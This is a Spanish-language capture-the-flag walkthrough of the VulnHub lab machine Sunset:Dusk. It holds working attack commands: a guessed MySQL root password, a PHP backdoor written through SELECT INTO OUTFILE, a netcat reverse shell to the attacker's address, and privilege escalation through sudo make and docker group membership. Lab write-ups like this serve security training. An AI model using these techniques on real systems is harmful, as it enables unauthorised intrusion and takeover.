[VULNHUB]Sunset:Dusk

Hoy vamos a hackear la maquina de Vulnhub llamada Sunset:Dusk.Podeis descargarla desde el siguiente enlace: https://www.vulnhub.com/entry/sunset-dusk,404/
  • Video
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    ~ > nmap -A -p- 192.168.1.134 Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-25 11:57 CEST Nmap scan report for dusk.home (192.168.1.134) Host is up (0.00060s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp pyftpdlib 1.5.5 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.1.134:21 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 b5:ff:69:2a:03:fd:6d:04:ed:2a:06:aa:bf:b2:6a:7c (RSA) | 256 0b:6f:20:d6:7c:6c:84:be:d8:40:61:69:a2:c6:e8:8a (ECDSA) |_ 256 85:ff:47:d9:92:50:cb:f7:44:6c:b4:f4:5c:e9:1c:ed (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: dusk.dusk, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=dusk.dusk | Subject Alternative Name: DNS:dusk.dusk | Not valid before: 2019-11-27T21:09:14 |_Not valid after: 2029-11-24T21:09:14 |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Apache2 Debian Default Page: It works 3306/tcp open mysql MySQL 5.5.5-10.3.18-MariaDB-0+deb10u1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.3.18-MariaDB-0+deb10u1 | Thread ID: 38 | Capabilities flags: 63486 | Some Capabilities: IgnoreSigpipes, SupportsLoadDataLocal, Speaks41ProtocolOld, SupportsTransactions, ODBCClient, InteractiveClient, DontAllowDatabaseTableColumn, LongColumnFlag, Support41Auth, SupportsCompression, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, ConnectWithDatabase, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: #aA`Cjl_yb`;D&-N%jjT |_ Auth Plugin Name: 104 8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.11-1) |_http-open-proxy: Proxy might be redirecting requests |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: Host: dusk.dusk; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.97 seconds
    Una vez vemos los puertos que tiene abiertos, visitamos http://192.168.1.134:8080/ para ver que nos encontramos. Vemos que abajo aparece que el directorio de trabajo es /var/tmp... Por otro lado, probamos a conectarnos al mysql con el usuario root y probando varias passwords. Tras probar unas pocas, encontramos que la password es "password".
    ~ > mysql -u root -p -h 192.168.1.134 Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 39 Server version: 10.3.18-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
    Una vez conectados a mysql, y sabiendo como hemos visto anteriormente que tenemos acceso a la web :8080 la cual su directorio de trabajo es /var/tmp, vamos a probar a poner una backdoor en esa ruta usando mysql.
    MariaDB [(none)]> select ("") into outfile '/var/tmp/cmd.php'; Query OK, 1 row affected (0.001 sec)
    Vemos que la query ha ido bien. Si visitamos de nuevo la pagina http://192.168.1.134:8080 veremos que nos aparece el fichero cmd.php. Arrancamos nc.
    ~ > nc -nlvp 5555 listening on [any] 5555 ...
    Y visitamos: http://192.168.1.134:8080/cmd.php?cmd=/usr/bin/nc -e /bin/bash 192.168.1.59 5555
  • Low Shell
  • ~ > nc -nlvp 5555 listening on [any] 5555 ... connect to [192.168.1.59] from (UNKNOWN) [192.168.1.134] 41142 python -c 'import pty;pty.spawn("/bin/bash")' www-data@dusk:/var/tmp$
    Hemos obtenido la reverse shell :)
  • user.txt
  • Miramos la flag del usuario.
    www-data@dusk:/var/tmp$ cd /home www-data@dusk:/home$ ls dusk www-data@dusk:/home$ cd dusk www-data@dusk:/home/dusk$ ls user.txt www-data@dusk:/home/dusk$ cat user.txt 08ebacf8f4e43f05b8b8b372df24235b
    Exploramos un poco y miramos si podemos hacer algo con sudo.
    www-data@dusk:/home/dusk$ sudo -l Matching Defaults entries for www-data on dusk: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on dusk: (dusk) NOPASSWD: /usr/bin/ping, /usr/bin/make, /usr/bin/sl
    Podemos usar "make" para obtener los privilegios de dusk.
    www-data@dusk:/home/dusk$ sudo -u dusk make -s --eval=$'x:\n\t-'"/bin/bash" dusk@dusk:~$ id uid=1000(dusk) gid=1000(dusk) groups=1000(dusk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1 09(netdev),111(bluetooth),115(lpadmin),116(scanner),123(docker)
    Ahora somos dusk! Vemos que dusk esta en el grupo docker. Asi que como en otras ocasiones, montamos el FS del host en una carpeta del container en el cual somos root, y asi podremos ver todos los ficheros del host y tendremos permisos en todos ellos.
    docker run -it -v /:/mnt alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine df20fa9351a1: Pull complete Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321 Status: Downloaded newer image for alpine:latest / # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(di alout),26(tape),27(video)
    Ahora que estamos como root en el container y tenemos el FS del host montado, solo nos falta mirar la flag de root!
  • root.txt
  • / # cd /root/mnt/root /mnt/root # ls root.txt /mnt/root # cat root.txt Congratulations on successfully completing the challenge! I hope you enjoyed as much as i did while creating such device. Send me some feedback at @whitecr0wz! .' .-.'__.-----.\ / `-'(__--' .' `. _ `--._ / .`--'''` / .' _.'-. J / J F .' F J / / /-. / / / \ / / J | / / / / / / / J / / / / /-'/ / / -' / / J / / / .' / -'-' / /-' (/| | / /.' ) | _.-- / // < \/ ( | // `.\ `.`. // ___/ \ `-. `.`. - ----' )|`.\) `-))\-') ' ) ')/ Until then! 8930fa079a510ee880fe047d40dc613e
  • End
  • Y con esto ya seriamos root de la maquina.